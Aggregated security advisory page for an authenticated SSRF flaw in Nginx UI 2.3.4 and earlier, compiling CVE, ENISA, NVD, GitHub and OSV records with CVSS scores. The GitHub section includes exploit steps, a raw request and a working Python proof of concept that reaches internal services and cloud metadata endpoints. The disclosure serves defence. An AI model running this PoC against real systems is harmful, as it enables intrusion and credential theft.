Nginx UI: Server-Side Request Forgery (SSRF) via Cluster Proxy Middleware Allows Access to Internal Services

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Nginx UI is a web user interface for the Nginx web server. In 2.3.4 and earlier, an authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.

Source published

12 May 2026 20:49:16 UTC

Source modified

14 May 2026 21:32:37 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 8.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Nginx UI is a web user interface for the Nginx web server. In 2.3.4 and earlier, an authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.

Source published

May 12, 2026, 8:49:16 PM (timezone not stated)

Source modified

May 14, 2026, 9:32:37 PM (timezone not stated)

Observed here

28 Oct 2026 05:17:38 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Nginx UI is a web user interface for the Nginx web server. In 2.3.4 and earlier, an authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.

Source published

12 May 2026 22:16:35 UTC

Source modified

26 Oct 2026 14:10:00 UTC

Observed here

27 Oct 2026 11:12:09 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

CVSS 3.1 · [email protected] · Primary · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

### Summary An authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the `X-Node-ID` header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks. ### Details The nginx-ui Proxy middleware (`internal/middleware/proxy.go`) intercepts API requests containing an `X-Node-ID` header and forwards them to the URL of the corresponding cluster node. An attacker can: 1. Read the `node_secret` from `GET /api/settings` (accessible to any authenticated user) 2. Create a cluster node via `POST /api/nodes` pointing to any internal URL: ```json { "name": "ssrf_node", "url": "http://127.0.0.1:51820", "token": "<node_secret>", "enabled": true } ``` 3. Send any API request with the `X-Node-ID` header set to the created node's ID: ``` GET /api/settings HTTP/1.1 Authorization: <token> X-Node-ID: 1 ``` 4. The Proxy middleware forwards this request to `http://127.0.0.1:51820/api/settings`, making a server-side request to the internal address. **Vulnerable code path:** - `internal/middleware/proxy.go` — `Proxy()`: no validation of the node URL; allows `127.0.0.1`, `localhost`, internal IPs, cloud metadata endpoints, etc. The node URL is not restricted to external addresses or validated against an allowlist. Combined with the njs Code Injection vulnerability (separate advisory), this SSRF is used to trigger the njs payload executing on an internal-only nginx port, completing the RCE chain. ### PoC ```python import requests BASE = "http://TARGET:9000" TOKEN = "<authenticated_jwt_token>" HDR = {"Authorization": TOKEN} # Step 1: Get node_secret settings = requests.get(f"{BASE}/api/settings", headers=HDR).json() node_secret = settings["node"]["secret"] # Step 2: Create SSRF node pointing to internal service resp = requests.post(f"{BASE}/api/nodes", headers=HDR, json={ "name": "ssrf", "url": "http://127.0.0.1:51820", # internal-only port "token": node_secret, "enabled": True, }) node_id = resp.json()["id"] # Step 3: SSRF — request is forwarded to http://127.0.0.1:51820/api/settings resp = requests.get( f"{BASE}/api/settings", headers={**HDR, "X-Node-ID": str(node_id)}, ) print(resp.status_code, resp.text[:200]) # Response comes from the INTERNAL service, not nginx-ui ``` This can also target cloud metadata endpoints (e.g., `http://169.254.169.254/latest/meta-data/`) or any other internal service. ### Impact An authenticated attacker can: - **Access internal services** bound to localhost or private networks that are not intended to be externally reachable - **Access cloud metadata endpoints** (AWS/GCP/Azure instance metadata) to steal IAM credentials - **Port-scan internal networks** by creating nodes pointing to different internal IPs/ports - **Trigger internal-only njs endpoints** to escalate privileges (as demonstrated in the companion RCE advisory) - **Bypass network segmentation** and firewalls that only restrict inbound traffic

Source published

29 Apr 2026 20:54:54 UTC

Source modified

25 Jun 2026 23:11:21 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Publisher rating · HIGH

Nginx-UI has Server-Side Request Forgery (SSRF) via Cluster Proxy Middleware that Allows Access to Internal Services in github.com/0xJacky/Nginx-UI

Source published

25 Jun 2026 22:34:38 UTC

Source modified

25 Jun 2026 23:01:29 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.